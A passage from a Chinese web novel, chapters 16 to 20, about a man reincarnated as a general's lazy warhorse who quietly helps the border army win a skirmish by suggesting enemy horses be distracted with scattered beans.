将军英武,骏马雄健,一人一马正欲踏破万里长风,尽情纵蹄,驰骋天地,那将是一副多么壮阔,激荡心胸的画面啊!!
霍霁风也好久没有亲自带着爱马放风了,沉郁一扫而空,一股豪气直冲胸腔。
下一秒。
马儿懒洋洋躺了下来。
霍霁风:“........”
立于风中的豪气,变成了风中的凌乱。
谁能来告诉他!
他的乌云为什么又躺了?!!!
鹰眸射向阿冬。
阿冬战战兢兢,如芒在背,抹着额头上的汗:“大将军,不是小的没有照顾好它,小的伺候乌云比伺候鲐背之年的祖父还孝顺,可它就爱随地躺,每次溜达到草地上就爱躺下,十次有十次是这样,小的觉得....”
“觉得什么?有话直说。”
“小的觉得,它不是来当军马的,像来当军爷的。”
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“..........”
落在草地上的马尾巴从左边甩到右边,有那么点....不,是非常闲情逸致。
宋铮不管他们说什么,他们说他们的,他悠闲他的。
不知不觉,他在军营已经待了好长一段时间,边关的气候说转凉就转凉,不过早晚温差有些大,白天的阳光却是刚好。
这样的天气,他喜欢坐在家里的院子里,晒晒太阳看看书。
霍霁风负手而立,沉默片刻。
“乌云!”突然沉喝一声,“起来!”
宋铮动了动前蹄,真的昂起了上身,双蹄在草地上踢踏,但不是站起来,仔细看会发现,他只是用马蹄来蹭地上的青草。
霍霁风的太阳穴突突跳。
要是换做士兵,他高低叫人拖下去赏十大军棍。
“它这是做什么?”
要论与马儿相处最久的还是阿冬,阿冬根据自己的判断如实道来:“大将军,乌云这是在擦蹄子呢,它可爱干净了,蹄子上有泥巴就非擦了不可,不然就不走道。”
霍霁风听得直皱眉。
一匹马,又不是小姑娘,擦什么蹄子?!
阿冬看着大将军原地徘徊,大将军行事果决,杀人都不带眨眼的,难得在一匹马身上犯了难。
霍霁风琢磨着。
马儿不是人,伤了残了只会对人类产生畏惧,畏惧下的听令不是忠诚,也不是他要的人马合一,所向披靡的战斗状态。
于是又试了一遍:“乌云,起来!这是本将军的军令!先去活动筋骨,活动完了我们便开始训练!”
既然是军令,宋铮不得不从,他不想自己显得太叛逆,也不是爱作的性格。
宋铮起来了。
哒哒哒往前跑。
霍霁风长舒一口气,这口气还没舒完呢,只见跑了两三步的马儿又墩地坐下来,屁股一落地,健硕身躯晃了晃,然后又躺下了。
给了大将军面子。
但不多。
阿冬看到大将军的嘴角都抽搐起来了。
他看看霍霁风,再看看已经想要眯眼睡觉的马儿,大将军太难了。
17.第 17 章
所谓春困秋乏,宋铮舒服地躺着,迎着午后的微风偶尔抖动一下耳朵,别说多惬意了。
没一会儿,眼皮渐渐耷拉,想要安详地睡会儿。
“乌云!”
某人沉声一喝,宋铮在惫懒的情况下一惊,倏地睁开眼。
他斜了眼霍霁风,重新站起来,远离这个一惊一乍的男人后靠着某处树干闲情逸致地坐下。
树底下的青草很是鲜嫩,大约是有树荫遮挡,不少草尖上还沾着露珠。
宋铮一低头就能嚼一口嫩草。
阿冬抿唇,低头,默默无言。
霍霁风是一口郁气凝结在胸腔里上不去,下不来。
他的乌云再这么懒散下去,就废了!
片刻后,陆十九来汇报军务,定朔关附近的州、郡,设有地方军器库,常年储备兵器,有骑兵用的马刀、长枪,步兵用的腰刀、盾牌,以及弓箭等,地方官员已接到调令且给了回音,不日便会组好骡马车队运送,保证十日之内将折损的兵器补给完毕。
“这十日多注意防范,夜里多加派巡逻队,不,”霍霁风正色,“不止要加派巡逻队,岗哨和暗哨的换岗时间,三日一变,巡逻路线两日一换。”
“是,末将这就去安排。”
陆十九正要告退,突然瞥见远处的宋铮。
不懂就问。
“大将军,乌云死了?”
“!”霍霁风回头。
靠着树干的马儿又睡着了,脑袋不是搁在草地上,而是歪着脖子靠着树干,马嘴朝天。
“……”
霍霁风恨铁不成钢:“它在我心里快死了。”
懒死了!!
陆十九:那到底是死没死?
阿冬小心替将军回答:“陆将军,乌云还没死,我亲眼看着它,靠着树干慢慢睡着的。”
“原来如此,”陆十九的眼神中充满了对大将军的谜之佩服,“果然是大将军挑中的良驹,万里无一,连睡觉都这么有特色。”
霍霁风送他一个字:“滚!”
马屁拍在了马腿上。
“是,末将告退。”
嗖得一下,陆十九闪出十几米开外。
阿冬目瞪狗呆:好快!
宋铮合眼歇了半个多时辰,初时浑身紧绷的筋骨都松了,连呼吸都轻缓下来,可是没过多久就开始不舒坦,无形中有双眼睛牢牢地锁定在他身上。
他忍无可忍,按耐不住睁开眼。
对上了霍霁风一瞬不瞬的视线。
“睡得可还香?嗯?”霍霁风半蹲在他面前,没忍住拍了他脑袋,“本将军带你出来是活动筋骨,不是让你来睡大觉的,打仗的时候你也睡觉?靠瞌睡吓死敌人?”
“.........”
宋铮有种在学校被老师提溜进办公室训话的错觉。
虽然他从没被训过,但见过不良学生被训。
尤其是某个同样姓霍的转学生,三天两头因为迟到被罚站在操场上,每次他站在教学楼外的走廊上就能看见他。
“睡饱了就站起来,”霍霁风拉起牵马绳,“我们开始训练!”
宋铮不情不愿,打了两个响鼻。
看来伸头是一刀,缩头也是一刀,躲不了了。
身上忽然一沉,霍霁风已翻身上马。
古代战马的训练有流程,首先是与马儿建立亲密关系,也就是现代养宠人说的“脱敏”,需要每天与马儿相处,用手抚摸马身、梳理鬃毛,让马匹习惯人类触碰,不过这一步在乌云和霍霁风相处了有三个多月的情况下完全可以省略。
霍霁风从驯马的第二步开始,以“慢走 + 慢跑” 组合,逐步提高马儿的耐力。
后期便是体能上的加强,学基础的指令,如前进喊 “恰” ,同时轻轻抖动缰绳,向左转喊 “左”,左手轻拉缰绳,学会各种指令之后再开始负重,模拟战场,暴雨中穿越火圈,踏过布满贴片的土地....
然,想象很美好,现实很骨感。
霍霁风的计划止步在了第二阶段,甚至有永远停在这一阶段的趋势。
第一天,宋铮背着霍霁风走了一百来米就开始喘。
第二天,宋铮背着霍霁风走了五十米就摇摇欲坠。
第三天,宋铮背上霍霁风,还没迈出一步,左前蹄一软,膝盖跪了下去,要不霍霁风及时下马,他非整个摔地上四脚朝天不可。
之后又是秦老、阿冬、马厩的好几名马夫都围着他团团转。
说实话,宋铮心里也很过意不去,心里正闷呢,霍霁风来到了他面前。
这个男人的面容12个时辰里有11个时辰是严肃的,此刻更凝重,也不是凶宋铮,只道:“边关军营是一个国家的防线,是守城重地,这里不养无用的兵马,你若是不能陪我上阵杀敌,就只能去辎重营做后勤马。”
蓦地,宋铮心里一沉。
霍霁风的话没有错,别说是马了,就算是有着丰功伟绩的将军,一旦重伤残疾指挥不了兵马,也得被削去头衔。
这便是兵荒马乱、纷争不断的残酷世道。
“休息吧,”霍霁风抚了抚宋铮脖子,随后离开。
晚上,阿冬来添加草料,意外竟然看见了站着的宋铮。
“呜呜呜....太好了,你终于肯站起来吃草了,好马!好乌云!”阿冬喜极而泣。
他可好久没见到晚上会站起来的乌云了。
泣声一收:“你该不会是回光返照吧??”
“噗噜噜....”宋铮哼气儿。
他只是因为霍霁风的话有些心烦,他上战场没那个体力,做后勤马也没那个耐力,若是出了军营被贩卖到其他地方,想必也是要拉车做农活,生活质量还比不上在军营的待遇。
他得想办法,发挥出他有而别的马没有的优势,也为了阿白它们不会在战场上轻易死去。
到后半夜,宋铮站着打了几次盹儿,不久就到了天亮。
这天霍霁风没有来。
第二日,也没来。
很好。
明明白白,是姓霍的放弃了。
宋铮有点儿不是滋味,这侧面印证了他在霍霁风眼里是真的没用。
马很不高兴。
第三日。
他自由地走出马厩直奔目标地点,霍霁风前脚离开中军帐,他后脚就进去了,哪怕是当软脚虾,他也要当有智慧的软脚虾。
宋铮走到正中央的沙盘前,边研究边思索。
霍霁风断了北梁人的粮草,北梁人为了防止在这个节骨眼上大澜发动大规模战争,就暗中派死士损毁他们的兵器
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,虽说偶尔骚扰,但在大局势上保持了微妙的平衡。
他又看墙上挂起来的舆图,结合沙盘记下双方的各个地理位置。
北梁如今驻守的区域,西边是河套,东边靠着天堑断崖,北方是绵延千里的山脉,唯有南面三条狭窄的关道与大澜接壤,真正的易守难。
再看大澜的地势,以定朔关为中心,周遭地势可谓平坦,唯一的屏障大概就是有部分的密林。
依宋铮看,大澜要是没有厉害的猛将,就这样的关口早被北梁给破了。
猛将能是谁,当然也不言而喻。
“真是难办......”
宋铮绕着沙盘走了一圈,最终停在一方书架前,用鼻子拱着密密麻麻的兵书,亏得他所在的朝代已发明了纸质的书籍,不然鼻子拱破也难找自己想看的书。
他叼住其中一本扯下来。
啪嗒,落地声传出帐外。
守兵探头进来观望,见营帐里没有乱七八糟的景象,稍稍放心,但又叮嘱:“乌云,你切不可捣乱,否则放你进来就是我们的失职,你和我们可都得受罚,明白不?”
宋峥发出声音以做回应。
有沙盘挡着,守兵看不见掉落的书籍,只当宋峥无聊在拱地面。
马蹄不是爪子,连翻个书都没费劲,但他不着急,慢慢用鼻子拱,慢慢翻页。
一连几天如此,宋铮不仅翻看了诸多兵书,就连《粮草算例》《天象占验》这类积了许多灰尘的书都看完了,最重要的是其中的《舆地志》,它囊括北梁及其他国家的地理记录,此书整理得详细,附有小路图,对宋铮想要帮霍霁风打仗提供了巨大帮助。
正全神贯注。
啪嗒。
拱得乱糟糟的书架上又有本小册子掉出来。
落于地面,摊开了几页。
这本小册子前两天宋铮就看见了,可是封面没有字,不知道里面记载什么,他也懒得去看。
现在,看清楚了。
册子里全是图画,两具□□的身体纠缠在一起,颠鸾倒凤,姿势多样,尺度那是真的大。
“............”
这不就是古代的春宫册吗??
霍霁风还看这种书?!
闷骚!!
下流!!!
瞬间觉得马厩里的被子不香了。
其实,这是在宋铮没来之前,霍霁风从兵营里收缴上来的,当时这些册子在士兵之间疯传,谁让军营里都是大老爷们呢,没东西发泄,只有脑补了,一脑补,晚上睡不好白天没精神,一个个就像瘟鸡似的,一入夜又跟打鸡血一样。
为此,霍霁风下令,荤册子一律收缴焚毁,却不知道遗漏了一本。
“呜——”
一声凄厉号角陡然撕开帐外的宁静。
宋铮昂起头,紧接着外面传来训练有素的急行脚步与甲胄声。
北梁军又发动进攻了??
宋铮紧急跑出中军帐查看情况,却在远处一只不起眼的营帐里发现了某道刚走出来的熟悉身影。
那不是霍霁风吗?
他不应该是在校场练兵??
哒哒哒.....
宋铮朝着他的方向跑去,不等他接近霍霁风,霍霁风已骑上夏戎牵来的马匹冲向军营外。
18.第 18 章
北梁与大澜已形成长久的拉锯战,日常以中小规模冲突为主,比如今天你带几百几千士兵骚扰我,明天我带几千士兵骚扰你,要拉出几万甚至是十几万兵的属于大战役,一场战役下来,双方军队少则休整几个月,多则要休整一两年。
宋铮料定,这次冲突也是小摩擦,但胜了也能长大澜威风。
兵马还要在大营门口集结,还有时间!
宋铮马不停蹄冲向要去瞭望台的高崇山,咬住对方肩膀上的衣服。
“哎呦!”高崇山突然被往后扯,差点朝天摔了,好在后头还有股力量拖着他。
一回头。
“乌云,你做什么?!”
“北梁的人又过来叫阵,我得赶紧看看去,你别捣乱,”高崇山堪堪站稳,抓住了宋铮身上的牵马绳,但他一文人怎么拉的住一匹急躁的马,“欸欸欸!干什么去!”
宋铮没有撒嘴,拉着他往伙房方向去。
他想到了一个主意。
这几天研究过北梁的地理位置,虽然此关隘有利于他们,有天堑作为屏障,甚至有河套如护城河护卫着北梁人的军营,可关键是霍霁风烧毁了他们的粮草,而北梁军营离他们身后的州、郡非常远,期间的路途困难,想必粮草至今都没补足。
边关要养十万大军,一天的粮草消耗是个庞大数字,将士们几顿吃不饱,军营的士气就要大跌。
这大概也是北梁时不时发动骚扰的原因,营造他们还很“强”,精力还很“充沛”的假象,以免在粮草尚未补足前,被大澜攻破营地防线。
那么粮草还没补足,十几万的大军吃什么喝什么?
要从哪里暂时得到补给呢?
宋铮立马就想到了马匹。
马匹吃的食物除草料,还有谷物、豆类,这些燕麦、粟、大豆黑豆也都是人可以食用的,把马的主食分走,那么马匹就得挨饿。
所以他们只要装少量的谷物豆子带上战场,在作战时那么一撒,敌人的马便能失去战斗能力。
“哎呀!哎呦!!”
高崇山被气得头大,一边被拖着走一边指着宋铮:“你真是被大将军给宠坏了,打不了仗不说,这节骨眼上还要胡作非为,看我不等大将军回来告你一状,撒嘴!”
“咴儿咴儿!”宋铮松开他。
“你说你,你把我拖到伙房里来做什么!”
“高先生,您这是.....”伙房的士兵询问。
不等高崇山说话,宋铮一脑袋扎进装有豆子的麻袋里,一阵捣鼓,麻袋里的豆子稀稀落落地掉出来撒了一地。
伙房的人急忙拉住宋铮,七嘴八舌地让他别捣乱,还有人拿胡萝卜哄骗他让他出去。
宋铮尽力稳住自己,叼住胡萝卜扔了,又低头吃地上的豆子,地上的豆子有灰尘,他那么爱干净,可是强忍着洁癖去触碰的。
高崇山一开始还觉得胡闹,等多看两眼,脑子陡然开窍。
“对,应该行得通.....”
“可不战而屈人之兵,好办法啊!”
“之前怎么没想到呢!”
高崇山喃喃自语,眼里迸发出兴奋精光。
“高先生,您怎么了?”
“我有好计策了!”高崇山忙冲出伙房叫住一队士兵,吩咐其中一人赶去大营门口让大将军稍等片刻,其余人都被他抓进伙房,一人抓了一把豆子用碎布裹好藏进怀里。
见高崇山一点就通,宋铮放心了,他在大家忙活的时候离开伙房奔向营地大门。
霍霁风迎风坐于马背,勒马回首,一手按在腰间的长刀上。
高先生让他等一等,也不知是等什么。
哒哒哒....
熟悉的小碎步。
一匹通体漆黑,毛色油亮,四只蹄子却是雪白雪白的漂亮骏马来了。
是乌云。
人,马,四目相对。
还没到跟前,大约四五米远的距离,乌云停下了,不再靠近一步。
霍霁风心里咯噔一下。
不知为何,心里有种自己始乱终弃的错觉。
不过宋铮就没他想得那么多了,一匹马骑不了就换另一匹马,太正常不过,他跑过来是来告诉即将去打仗的马儿们,待会儿与敌军交战时,我方士兵会撒豆子,让它们千万别吃,因为这是拿来迷惑敌军战马的。
“好的老大,我们知道了!”
“老大你放心,我们绝对不吃,出发前我都吃饱了。”
“老大,我就吃一颗行吗?”
.....
马儿们叽里呱啦说话。
“行,”宋铮咴着,“吃完就马头落地,你选。”
“不吃了不吃了,”问问题的枣红马摇头晃脑,举蹄发誓,“我坚决一颗都不会吃,这辈子都不会吃的!”
倒也不必这么坚决.....
高崇山带着一队人马紧急来汇合,把计策一说,都觉得是好主意,夏戎连连惊叹,把高崇山一顿跨。
“就依高先生之计,出发!”
话音未落,霍霁风已带士兵们冲出去。
“欸!将军等等我!”夏戎策马追上。
等尘烟散去,一行人都没了踪影,高崇山还在军营门前眺望,据侦察兵报,此次北梁兵只有一千余人,倒是不足为惧,只是......
陆十九与魏常还有守营重任,没跟着去,陆十九朝着高崇山抱拳,郑重道:“多谢高先生献计。”
“欸,”高崇山摆手,“高某自愿投效军营,为大澜为大将军出力自是应该,用得着什么谢,不过大将军他....”
“高先生,我们借一步说话。”
“好。”
两人从宋铮面前走过。
宋铮用几乎没有死角的视线观察他俩,看他们脸色,又打哑谜似的对话,直觉霍霁风有事。
还不是小事!
好奇心驱使他跟上去。
但阿冬来了。
“乌云,你可溜达了一个上午了,快跟我回去,喝点水进点食再出来。”
虽说宋铮暂时不用跟着打仗,但怎么说也是大将军的专属坐骑,阿冬抽空就得来寻一寻,看看马儿状态好不好,有没有捣乱,有没有走丢,离开马厩久了就得拉着他回去准点进食喝水。
宋铮不让他难做,速度回马厩,嘴巴往马槽里一扎,抬起,再往水槽里一扎。
完事儿。
走马。
阿冬两条腿比不上四条腿,呼哧呼哧跑回来,刚到马厩,马儿又从他身边跑走了。
“不是,你吃完了吗你就跑这么快??”阿冬查看马槽,草料是草料,谷物是谷物,连新鲜的胡萝卜都没啃,他冲即将消失的马尾巴大喊,“你现在怎么还学会骗
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人了呢!”
宋铮知道高崇山与陆十九去了哪个帐中。
四只蹄子难得抡开了跑。
到了陆十九的帐旁,他急急刹住马蹄,甩甩脑袋,随后拱进帘帐。
两人早有听到马蹄声,而能在军营里面撒开蹄子乱跑的只有乌云,见怪不怪,因此见帐帘里突然钻进个马脑袋一点儿也不惊讶。
两人视线扫过宋铮,依旧谈他们的。
陆十九道:“我猜想,应该是药物的成分出了问题,效果才达不到该有的时限。”
高崇山面色凝重,沉吟片刻,点点头。
陆十九又问:“高先生,您那边的进展如何?”
高崇山轻叹一声,摇摇头:“当年我与师兄同拜于诸老门下,我专攻筹谋运算,而他则志在医道,以期闻达于天下,后来他不负所望,‘江湖仙医’之名响彻四方,却也如他那性子,闲云野鹤,自在来去,如今就连我这做师弟的,也难寻他踪迹了。”
“还望请先生竭尽全力,”陆十九一撩衣袍,单膝跪地,抱拳作揖。
“陆将军快起来!”高崇山忙扶他,“高某既愿为大将军谋士,自当鞠躬尽瘁。”
宋铮大概听明白了。
一开始他以为他们是要谋害霍霁风,听着是霍霁风身上有不治之症,得找有名的大夫医治。
可霍霁风得的是什么病?
他那杀人的架势,那体格子,怎么看都不像有病之人。
宋铮心里揣着疑问,而后两人开始讨论军务,也没什么好听的了,他收回脑袋,在军营里闲逛一圈后回到马厩。
两个时辰之后。
霍霁风大胜归来,这次不仅不费一兵一卒,甚至还把北梁的马匹全数带了回来。
“哈哈哈哈,痛快!真是痛快!比烧粮草那日还让本将军痛快,他们眼见着自己的马匹只顾吃,无心恋战,那些个脸色,活见鬼了一样,哈哈哈哈哈.....”
霍霁风抄起一坛酒,也不用碗,仰头就大灌起来。
“可不是!”夏戎的情绪到此刻都还很高昂,“简直赢得不费吹灰之力,我军还无一人伤亡,要是次次都能这么打仗,咱们迟早能把北梁的军营掀了!”
其他将士一起大笑。
高崇山被请来营帐,在帐外就听见了里头的笑声。
一人道:“高先生来了!”
“高先生,这招虽然简单,但命中要害,效果奇佳,妙哉!”霍霁风将酒坛抛给他,“今日必与你痛饮一番。”
高崇山接住酒坛,含笑道:“大将军有所不知,高某能想到这一招,还要多亏了乌云。”
夏戎很是好奇:“高先生,这话怎么说?”
高崇山一五一十将自己被马儿拦住,拉着去伙房的事娓娓道来:“要不是乌云,高某还真想不到,不过说也奇怪,它早不闹腾晚不闹腾,恰好在大将军要出去迎战之际把高某拉了去,可是托了它的福啊。”
霍霁风听得惊奇。
这是赶巧了?
还是乌云聪明到了能献策献计的地步?
这时,一守兵在帐外汇报:“大将军,乌云来了,它把您的棉被还回来了。”
霍霁风大步过去掀开帘帐,棉被就堆在他门口,而马儿放下就走了,只留给他甩着马尾的屁股:“..........”
???大将军一头雾水。
19.第 19 章
“大将军,您的被子被乌云睡过了,属下给您送后勤去,让他们洗洗晒晒完了再送回来?”
守兵抱起被子。
霍霁风点头:“去吧。”
守兵扛走被子。
今日不战而屈人之兵,霍霁风心情颇好,留下高崇山等人喝酒,到夜幕擦黑,中军帐的人才散了。
霍霁风叫脸色酡红的夏戎:“你等等。”
夏戎止步:“将军还有事吩咐?”
“不是特别重要的事,”霍霁风坐于案几后,虽喝了三大坛酒,可他酒量好,这点酒撒两泡尿就没了。
鹰眸凝视着夏戎。
夏戎头皮发紧:“您有事不妨直说,这样看着末将,怪瘆人的。”
霍霁风开口:“我有一事不明,你帮我参谋参谋。”
“那您怎么不叫住高先生,他脑子好,我这脑子只能听令行事,您指哪儿我就打哪儿。”
“不是军务。”
嚯!
那就是私事儿。
夏戎来劲儿了:“将军快说,什么事儿?”
“你说乌云......为什么把被子还给我?”
“这个嘛…”
夏戎摸着下巴在帐内来回踱步,虽然一匹马的事没那么重要,可是大将军在意啊,将军在意的就是大事儿。
夏戎眼尖,瞄见书架下面掉的小册子,先前大伙儿喝酒高兴,谁都没在意这些小细节。
他走近一看,又是嚯得一声。
霍霁风皱眉,查看。
一看嘴角抽了抽。
“将军,末将个人认为,导致乌云还您被子的原因找到了,您看啊,”他绞尽脑汁分析,“您总说乌云聪明,可见它是真聪明,所以动物啊也像小孩儿一样,会争宠,您看这春宫册上的男子多像您!”
霍霁风:“.......”
夏戎:“它不是每天都跑您帐里来玩吗,不小心就看到这画册,把画册上的人当您了,您这么抱着别人它可就不高兴了,一不高兴,就把被子还你了。”
“或者,它再聪明一点.......”夏戎欲言又止。
霍霁风:“再聪明一点儿怎样?”
夏戎:“嫌你脏了。”
霍霁风:“!”
朗朗乾坤,月光皎皎,井然有序的庞大军营中,突然发出一道撕心裂肺的惨叫。
“啊————”
夏戎飞出中军帐。
被霍霁风踹飞出去的。
守兵们面面相觑,赶忙冲上去把夏戎给扶起来。
夏戎捂着屁股哀嚎:“哪有将军这样的,留下来的是我,被踹出来的还是我!以后就是让我分析我也不分析了,哎呦~~~”
唰——
一本册子也飞了出来。
“把你的东西拿走!”帐里传出话。
啪,册子掉在夏戎脚边,夏戎低头一看,再看一眼中军帐,撸起袖子:“酒壮怂人胆,今儿我就和大将军拼了!”
守兵一左一右拉住他拖走。
帐内。
霍霁风合衣躺在床上,双手枕于脑后,想着乌云的事,一匹马竟然鬼精鬼精地偷被子,用完了,也不知道怎么不满意了还还回来.....
又联想到高先生的话,早不闹腾晚不闹腾,偏偏在他要去迎战之时,照这么说来,今日没有乌云,他们可没那么顺利打赢仗。
又有性格骤变在前.....
倏地,霍霁风面色有异,一手捂住发疼的胸腔,两道眉毛渐渐染上薄薄的白色冰霜。
片刻之后,又恢复如初。
霍霁风坐起来,绕过屏风看向帐内的书架。
架子上的书籍依旧整齐排列,不过有趣的是,很多书籍的顺序乱了。
他走到书架前,从最不起眼的边边角落里翻找出了一本《民间怪文志异》。
.....
昼夜温差变大,晚上风凉。
宋铮没了被子,只有马厩里铺着的干草,好在干草垫得厚实,将就着躺还行。
他靠角落蜷,回想北梁的地理位置,琢磨下一步怎么取胜北梁。
在北梁军营的西面是纵横交错的河流,再往西北行二十里有处高山湖泊,从《舆地志》的小路图看,这处高山湖泊的地质结构特殊,它的湖床海拔远高于其地区,就像一个巨大的碗,被周围的山脉托举在其中。
而湖水蕴含着巨大的势能,一旦释放,将形成居高临下的冲击。
这股冲击力就如水龙出匣,势不可挡,加之其间还有交错的河流,形成更大的势能,对北梁的军营可以说是毁灭性的打击。
宋铮的双眼在夜幕中熠熠生辉。
届时,北梁军营不得不撤回他们自己关内,算是把他们打回了老家。
可是要让湖水倾覆是个难题,还是个不小的工程,更要绕过北梁军营去做这件事,还要神不知鬼不觉,简直是异想天开。
“不好办呐......”
宋铮叼起干草上的胡萝卜,舔了舔。
晚餐的胡萝卜他没舍得吃,他精神恢复了,饮食上面慢慢变回刚开始的待遇,胡萝卜现在已经算是晚餐里的美味佳肴了。
捂一会儿再吃吧。
戌时,宋铮闭眼睡了会儿。
马厩里并不安静,有其他马儿吃草料,打响鼻,偶尔发出呼噜呼噜声,精神好的还在闲聊。
竖起的耳朵在空气里抖了抖。
有脚步声,很稳健,踏在地面上的每一下都很沉很实,没有一点虚浮。
霍霁风来了?
大半夜来马厩做什么?
马儿深度睡眠的时间不长,宋铮又抖抖耳朵,睁开眼,视线对上已立在他门口的霍霁风。
大将军冷峻的面容不怒自威,漆黑的瞳仁比夜晚的墨色还浓,他就那么目色沉沉,视线定定地看着宋铮。
宋铮不明所以,满头雾水。
?
怎么?今晚喝的是假酒吗?
还是酒水上流进脑子了?
不一会儿,霍霁风转身又走了。
“........”
莫名其妙。
宋铮继续睡。
魏常营帐。
帐外守兵见大将军突然来,紧急立正姿势,身体崩得笔直,目视前方:“大将军!”
“嗯,”霍霁风掀帘而进。
魏常正好眠,但警惕性不减,在军营几年都保持着夜晚不敢睡死的状态,听到“大将军”三个字,他陡然睁眼,被子一掀坐起来,提起床边的两把铁锤:“将军,是不是北梁那帮狗东西又来了,这回让末将杀出去,一定打得他们哭爹喊娘。”
“稍安勿躁,”霍霁风抬手示意他放下武器,看了眼他身后的床,道,“我找你另有要事。”
“要事?”魏常严正以待,“将军直说,末将愿为大将军上刀山下火海,肝脑涂地!”
“没那么严重,”霍霁风说,“我记得你
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天生体质热,到了冬天也不爱盖棉被?”
“是啊,这一捂上我就热得慌,跟裹了炉子似的,不过去年正月天寒地冻,鼻涕都能冻成冰箸,那会儿我盖一床棉被正正好。”
“行,把你棉被拿来。”
“好。”
魏常从藏杂物的柜子里翻找出他的棉被,问:“将军,您要被子做什么?”
霍霁风说:“我给乌云送去。”
魏常一呆:“啊?”
“天气转凉了,我看它受不了夜里的寒气,”霍霁风将捆扎成一卷的被子提走,头也不回,“你早些睡吧。”
魏常站在自己营帐门前目送,挠着脑袋,这马的抗冻能力不比人好?还得盖被子?
不对!
等等!!
魏常追了两步:“将军!大将军!你是不是没听到我后半句话!正月里我也得盖啊————”
远远的,空气里飘来话。
“回头从我月银里扣,派人去集市给你带一床。”
“那您改天给乌云买不就行了吗??它今晚就要急用???”
没人再回答他。
魏常摇摇头,钻进自个儿帐里。
宋铮再次睁眼时,又见到了霍霁风,只见他站在门前,打开一床棉被在空气里抖了抖,随后轻松挂上肩,开木闩走进来。
“起来,我给你垫被子。”
“哦,”宋铮马上让出刚才躺着的角落。
然,心头咯噔一下。
霍霁风一说话,他就听懂他意思照做,是不是显得他太聪明了一点?
宋铮倒是很想直接告诉他,马的身体里是人类的灵魂,可古人思想封建,谁知道会不会因此被打上“鬼怪附身”的罪名,被大火活活烧死。
所以他既要表现很聪明或者说每每都能给霍霁风带来“好运”,又不能显得太过异类。
类似今天这样,提醒高崇山,借由高崇山一点就通的智商以达到帮助霍霁风的目的,它则稳居幕后还能成为真正意义上的吉祥物,那么以后就算不上战场,按理来说待遇也不会太差吧?
再看霍霁风,已弯腰单膝跪在干草上,铺着新拿来的棉被。
四个被角被拉得整整齐齐,若宋铮躺下去,四只马蹄都能很好地落在棉被上。
“好了,”做完霍霁风回头道,“可以睡了。”
宋铮咴咴两声表示感谢,但没那么快躺,在原地踏着蹄子活动筋骨,又凑到马槽里吃东西,假装没有听懂的样子。
霍霁风抚摸着他鬃毛,看着他挑拣苜蓿草上最嫩的部分,不小心咀嚼到草根还要吐掉,活像个大少爷。
他缓缓道:“北梁与我大澜积怨深,又边关对峙许久,为动摇我军心无所不用其极,前些日你也见识了,赵阔不惜派死士潜入营内毁我军营器械,又三番两次借着地理优势挑衅偷袭.....”
宋铮边吃边听。
这些他都知道啊,所以呢?
“更有甚者,”霍霁风继续说,“买通我营内士兵,散播春/宫图册,消弭我将士意志,好在我及时发现焚毁,不过册子太多,难免遗漏一两本也是有的。”
意思,这些东西可不是我霍霁风的,一眼都没看过。
该解释的解释完了,他又轻拍两下宋铮,走了。
宋铮抬起头,看着霍霁风离开的背影。
明白了,遗漏的这一两本被你藏在自己的帐中珍藏,严以律人宽以待己。
呵呵。
20.第 20 章
翌日。
宋铮慢吞吞吃早饭的时候,霍霁风来了。
霍霁风等着他吃好,牵他去外头溜达。宋铮听了霍霁风前几没来训练他的理由,不是放弃,而是有事在身。
所谓有事,恐怕是身体“有事”,但又怕外人知晓,毕竟大将军就是整个军营的主心骨,主心骨若倒,军营必定大乱。
宋铮低头啃着已经泛黄的青草。
突然,眼前多了只水果。
霍霁风递过来的,梨子。
竟然还随身带小零食?
宋铮不做客气,嘴巴一张,叼过来三下五除二嚼巴嚼巴吃了,齿间留香,清甜可口。
吃完,他心道一声糟糕,吃人的嘴软,拿人的手短,接下来是不是又要训练他了?
可今儿奇了怪了。
宋铮溜达、葛优躺,葛优躺、溜达,来来回回好几次,霍霁风愣是没训他。
看着男人负手而立,衣衫迎风猎猎作响,架势端得很足,就是没有要训练的意思。
霍霁风……中降头了??
连阿冬都不由得发出疑惑:“大将军,您今天是带乌云纯放风来了?”
“纯”字,是重点。
低头寻找嫩草的宋铮不用瞥眼,就能看见霍霁风全部的表情,和平时没什么两样,只淡淡嗯了声。
随后又道:“以后就随它吧。”
阿冬不解,眼中还有吃惊:“大将军的意思,以后不用乌云随您上阵了?”
“看它往后状态,它若是想随我杀敌,我便带上它,它要是懒惰不肯,也随意罢,叫它去后勤拉物资我看也够呛,不帮倒忙就算好的了,反正军营里也不差它一口吃的。”
阿冬忙附和:“大将军说得特别有道理,乌云都不像以前的乌云了,干啥啥不行,吃饭第一名。”
宋铮:“...........”
被当面蛐蛐了,无了个大语。
上午溜达完,宋铮回马厩吃了一趟粮,吃饱喝足散步两圈,他又想去中军帐了,虽说引高山湖泊水倾泄是天方夜谭,可倘若计划十分详细周密,也能一试,总之什么都不做肯定没有半分胜算,做了,还有大获全胜的可能。
这么想着,他正要往中军帐去,一队士兵从他身边经过,说有边城的百姓来了军营,跪在营地外不肯走。
蹄子一转,他跟着凑热闹去了。
望楼上悬挂着代表军队统帅的旗帜,红边黄底,威风凛凛。
旗帜下是坚固厚重的大门,外面包裹铁皮,用巨大的蘑菇形铁钉加固,大门前方挖有护营河,大门与一座吊桥相连,白天放下,供人马通行,夜晚或遇敌时升起,隔绝通道。
此时大门外隔着的不是敌人,而是一个村的男女老少,普通百姓。
“军爷们呐!求军爷们给草民们做主啊!”
一佝偻老妇匍匐在地面,褴褛的衣衫血迹斑斑、面容枯朽憔悴,双浑浊的双目中已流尽眼泪,她高声大喊,“县尉大人李茂安胆小如鼠,他任由山匪打家劫舍,草菅人命,草民们怎么活呀......”
男人们跟着哀求,女人们抽泣,孩童在爹娘的怀里哇哇啼哭,光景比难民还惨烈。
“求军爷们替咱老百姓除匪患,给草民们一条生路啊!”
“我那口子被山匪害了性命,家里的粮食被抢夺一空,我一寡妇无牵无挂,只求军爷们除了匪患,让我那口子死也死得瞑目!.”
“霍将军!”
有人喊出霍霁风的名号:“您镇守一方,造福百姓,您一人抵百人,求霍大将军救命呐——”
宋铮一来就听到了哭喊声。
这时大门也开了,吊桥正缓缓放下。
李校尉带着一队士兵出去查看情况,望楼上的哨兵做出警戒状态,张弓搭箭,实是北梁人诡计太多,怕有奸细混入其中。
宋铮视野好,远距离也看得清楚,他望望哨兵,也没轻举妄动跑出去。
不过大概事件他了解了。
这片地方还有山匪,原本是劫掠两国贸易要道上的商人过活,可如今两国打仗,贸易凋零,山匪的目标就瞄准了边城附近的村落,他们绕过军营,直奔村子,烧杀抢掠,无恶不作。
